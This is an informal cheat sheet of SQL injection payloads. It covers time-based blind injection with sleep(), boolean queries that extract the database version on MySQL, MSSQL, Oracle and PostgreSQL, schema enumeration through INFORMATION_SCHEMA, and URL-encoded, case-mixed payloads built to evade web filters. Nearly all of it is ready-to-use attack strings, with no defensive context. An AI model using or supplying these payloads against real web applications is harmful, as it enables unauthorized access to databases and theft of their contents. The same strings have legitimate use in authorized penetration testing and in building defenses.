SQLi
SQLi
* Where = having
* comments > [# , -- , /**/]
* limit num of db , num of output
XOR(if(now()=sysdate(),sleep(5),0))XOR >>
```````````````````````````````````````````````````````````````````
we could try to dump the database
version by the following techniques:
`````````````````````````````````````````
MySQL & MSSQL: ?lugu=316+AND+
(SELECT+SUBSTRING(@@version,1,1))='4'
Oracle: ?lugu=316+AND+
(SELECT+SUBSTR(version(),1,1)+FROM+DUAL)='4'
PostgreSQL: ?lugu=316+AND+(SELECT SUBSTRING(version(), 1,
1) = '4'
‘’’’’’’’’’’’’’’’’’’’’
SELECT 1 FROM INFORMATION_SCHEMA.SCHEMATA
WHERE SCHEMA_NAME LIKE 'a%'
‘’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’
AND+
(SELECT+1+FROM+INFORMATION_SCHEMA.SCHEMATA+W
HERE+SCHEMA_NAME+LIKE+'a%')%3d1
‘’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’
ahmed'+AND+/**/(%53ELEcT+1+/**/+fRoM/**/+(SE
%4cEC%54(sL%45%45P(3%29%29%29a)+A
%4ed+'ahmed'%3d'ahmed
ahmed'|
(IF((now())LIKE(sysdate()),SLEEP(6),0))
|'ahmed
‘’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’
’
‘’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’
’
?id=708'+ANd+E%4cT/**/(1337%3d1337,/**/sL%45EP
%283*4)/**//**//**/)+OR+/**/'1337'%3d'bug4y0u
‘’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’
’